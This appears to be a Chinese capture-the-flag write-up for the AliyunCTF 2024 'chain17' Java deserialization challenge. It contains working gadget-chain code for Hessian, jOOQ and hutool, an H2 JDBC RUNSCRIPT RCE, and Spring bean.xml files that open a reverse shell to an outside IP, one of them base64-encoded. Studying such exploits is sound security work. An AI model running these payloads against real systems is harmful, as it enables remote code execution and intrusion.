官方wp:https://xz.aliyun.com/t/14190

前置知识

Jdk9 module

dk9出现了module机制:https://zhuanlan.zhihu.com/p/640217638。

总结一下:

Java API 的作用范围分为methods、classes、packages和modules(最高)。 module包含许多基本信息:

每个module,都会有一个module-info.java文件,如TemplatesImpl所在的module:

image-20240318164910949.png

java.xml是module的名字,不一定要和包名一样。

exports表示外部可以访问当前module的哪些package。有点像nodejs。

exports…to 表示指定该package只能被哪些package访问。

同一个module下的类可以互相访问。

TemplatesImpl所在的package没有被export,所以我们不能访问。

–add-opens

在程序运行时加上VM Option,即可访问原本不能访问的module。语法:--add-opens [module]/[package]=module,如:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED ,意思就是把该模块下的某包对所有unnamed module开放。一般没有module信息的类都在unnamed module @ xxxxx下。

setAccessible

平时设置私有属性必须要用到的就是这个,但是jdk9中setAccessible中多了个这个,检查访问权限。

image-20240327100005600.png

总结一下,以下情况才是Accessible:

反序列化

反序列化类,不受module影响。

如,第一次运行加上–add-opens序列化XString,写到一个文件里。第二次运行时,不加–add-opens,读取该文件,反序列化成功。

hessian反序列化

这也是一块重要内容。

核心利用方式:当反序列化最外层对象是一个map时,会调用该map的put方法。

所以通过put触发的gadge都可以用,如下面两个,作用都是put->toString。

HashMap+XString。

/*
make map1's hashCode == map2's

map3#readObject
map3#put(map1,1)
map3#put(map2,2)
if map1's hashCode == map2's :
map2#equals(map1)
map2.xString#equals(obj) // obj = map1.get(zZ)
obj.toString
*/
public static HashMap get_HashMap_XString(Object obj) throws Exception{
XString xString = new XString("");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", xString);
map1.put("zZ",obj);
map2.put("zZ", xString);
HashMap map3 = new HashMap();
map3.put(map1,1);
map3.put(map2,2);

map2.put("yy", obj);
return map3;
}

HashMap+HotSwappableTagetSource+XString

public static HashMap get_HashMap_HotSwappable_XString(Object obj) throws Exception{
XString xString = new XString("");
HotSwappableTargetSource h1 = new HotSwappableTargetSource(10);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(2);

HashMap<Object, Object> map = new HashMap<>();
map.put(h1,"123");
map.put(h2,1);

Util.setFieldValue(h1,"target",obj);
Util.setFieldValue(h2,"target",xString);

return map;
}

但是这道题不是一般的hessian

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>

有黑名单

image-20240327201924235.png

image-20240327202030397.png

XString也被包括在里面了。

h2 jdbc attack

https://xz.aliyun.com/t/13931

h2数据库,如果能执行这条sql语句,即可rce。

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

指定jdbc连接的url为这个时,会加载远程sql语句然后执行。

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

来个例子:

pom文件

<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>

main

public static void main(String[] args) throws Exception {

String sql = "runscript from 'http://localhost:8000/poc.sql'";
String url = String.format("jdbc:h2:mem:test;init=%s", sql);
PooledDSFactory pooledDSFactory = Util.createWithoutConstructor(PooledDSFactory.class);

Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",url);
Util.setFieldValue(pooledDSFactory,"setting",setting);
HashMap<Object, Object> dsmap = new HashMap<>();
dsmap.put("",null);
Util.setFieldValue(pooledDSFactory,"dsMap",dsmap);

pooledDSFactory.getDataSource().getConnection();

}

运行即可弹计算器。

image-20240327194753585.png

观察一下main,没有import h2依赖的包,那能不能把这个依赖去掉?

PooledDSFactory是hutool依赖里用来发起数据库连接的类,连接时需要用到driver。 h2依赖里面放的就是driver。

所以去掉h2依赖后会提示找不到driver。

JSONObject

cn.hutool.json.JSONObject。

该类是一个map,put(key,value)时会触发value.toString,但value必须是java内部类。

put方法会进入这里。

image-20240327195506184.png

接着进入wrap。

image-20240327195609424.png

可以看到触发toString也是有条件的,就是必须是Java内部类。

AtomicReference

java.util.concurrent.atomic.AtomicReference

这个类的toString方法,会调用自身value属性的toString。

image-20240327195835073.png

image-20240327195845383.png

POJONode 特性

我们都知道jackson#toString,可以调用getter,但是getter的返回值,如果是个对象,也会继续调用该对象的getter。

BeanPropertyWriter#serializeAsField中,第一行就是调用getter,getter的返回值是value

image-20240327200744488.png

还是这个方法,继续往下,会到达这里,value被传了进去:

image-20240327200908979.png

一直跟进serializeFields

image-20240327201009805.png

这个方法里,prop是这个对象的属性,不一定是成员变量,如有一个getA方法,但是没有A属性,A也会算进prop里。

后面就是进入prop的serializeAsField,然后继续调用getter。注意,此时的getter已经是value的getter了。

ClassPathXmlApplicationContext

image-20240327223409361.png

agent

看看官方wp:https://xz.aliyun.com/t/14190

image-20240327204044831.png

image-20240327204011629.png

调用链:JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect

我最开始看的时候,有几个问题:

1、本地运行时加了–add-opens参数,目的是为了访问原本不可访问的类,但是打远程的时候没办法在远程加,是不是远程就不能访问这些类了?

2、题目的dockerfile加了这个:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED,目的是为了让当前module能够访问别的module。但是别的类,比如POJONode也处于别的module,为什么不用加也能正常反序列化?

3、JSONObject和POJONode中间为什么要多调用AtomicReference#toString

4、直接把PooledDSFactory直接写进bean,这样的话,调用的就是PooledDSFactory的readObject。按我的理解,应该把PooledDSFactory再套一层readObject->toString->getter,然后再塞进bean。

对于第二点,hessian反序列化恢复属性的时候会调用setAccessible,由于AtomicReference的module是java.base,原本不可访问,所以要加–add-opens。而POJONode等别的类,module是unnamed module,setAccessible可以通过,且反序列化不检查module,所以不加也没事。

别的问题都可以在上面找到答案。

还有就是自己本地生成payload时,能吐出base64,但是会有异常,不过不影响。

image-20240327210133430.png

server

sink点寻找

首先要知道java里rce的方法大致有哪些

看这题的时候,没想到任意类实例化。用codeql查jooq包,没有Runtime,没有ProcessBuilder,loadClass和method#invoke都有一些,但不可控。于是只能考虑jooq这个包是不是有类似于jdbc的、不在上述范围内的rce,例如agent用到的h2。

但其实new ClassPathXmlApplicationContext就能rce了。当pop让我codeql查找newInstance方法时候,我才想起来有这个rce手法。(第一次接触是在pgsql jdbc attack

codeql挖掘

先查newInstance

image-20240327224618311.png

然后就是找getter到达这个newInstance的路径

/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources

class Source extends Method{
Source(){
this.getDeclaringType().getASupertype*() instanceof TypeSerializable and
this.getName().indexOf("get") = 0 and
this.getName().length() > 3 and
this.isPublic() and
this.fromSource() and
this.hasNoParameters()
and
getDeclaringType().getQualifiedName().matches("%jooq%")
}
}

class Sink extends Method{
Sink(){
exists(MethodAccess ac|
ac.getMethod().getName().matches("%newInstance%")
and
ac.getMethod().getNumberOfParameters() = 1
and
getDeclaringType().getQualifiedName().matches("%jooq%")
and
this = ac.getCaller()
)
and
getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}

query predicate edges(Method a, Method b) {
a.polyCalls(b)and
(a.getDeclaringType().getASupertype*() instanceof TypeSerializable or a.isStatic()) and
(b.getDeclaringType().getASupertype*() instanceof TypeSerializable or b.isStatic())
}

from Source source, Sink sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()

结果不多,配合手筛就能找到正确的了,那就是ConvertedVal#getValue -> ConvertAll#from,从名字就能看出功能很相似。

image-20240327225000457.png

chain构造

然后补齐中间的链子即可

public static void aliyunctf2024_chain17_server_exp() throws Exception{
Object convertedVal = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ConvertedVal"));
Object dataTypeProxy = Util.createWithoutConstructor(Class.forName("org.jooq.impl.DataTypeProxy"));
Object delegate = Util.createWithoutConstructor(Class.forName("org.jooq.impl.Val"));
Object arrayDataType = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ArrayDataType"));
Object name = Util.createWithoutConstructor(Class.forName("org.jooq.impl.UnqualifiedName"));

Object commentImpl = Util.createWithoutConstructor(Class.forName("org.jooq.impl.CommentImpl"));
Util.setFieldValue(commentImpl,"comment","11111");

Util.setFieldValue(delegate,"value","http://192.168.109.1:17878/bean.xml");
Util.setFieldValue(arrayDataType,"uType",ClassPathXmlApplicationContext.class);
Util.setFieldValue(dataTypeProxy,"type",arrayDataType);
Util.setFieldValue(convertedVal,"type",dataTypeProxy);
Util.setFieldValue(convertedVal,"delegate",delegate);
Util.setFieldValue(convertedVal,"name",name);
Util.setFieldValue(convertedVal,"comment",commentImpl);

POJONode pojoNode = Gadget.getPOJONode(convertedVal);
EventListenerList list = new EventListenerList();

UndoManager manager = new UndoManager();
Vector vector = (Vector) Util.getFieldValue(manager, "edits");
vector.add(pojoNode);
Util.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});

System.out.println(Util.base64Encode(Util.serialize(list)));
}

bean.xml

这个可以

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">


<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMC43Ni4xMTguMjAyLzE2NjY2IDA+JjE=}|{base64,-d}|{bash,-i}')}"/>
</bean>
</beans>

这样不行,不知道为什么。

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value>"/bin/bash -i &gt;&amp;/dev/tcp/120.76.118.202/16666 0&gt;&amp;1"</value>
</list>
</constructor-arg>
</bean>
</beans>

完整复现

server在内网里,要通过agent打。这一步也挺麻烦的,我能想到的办法只有在agent getshell后写文件,搭个代理到内网。我尝试过后,有一点麻烦,就按照官方的打。

官方wp直接在agent获取到poc.sql时执行java代码

create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')

复现成功。

image-20240327222549299.png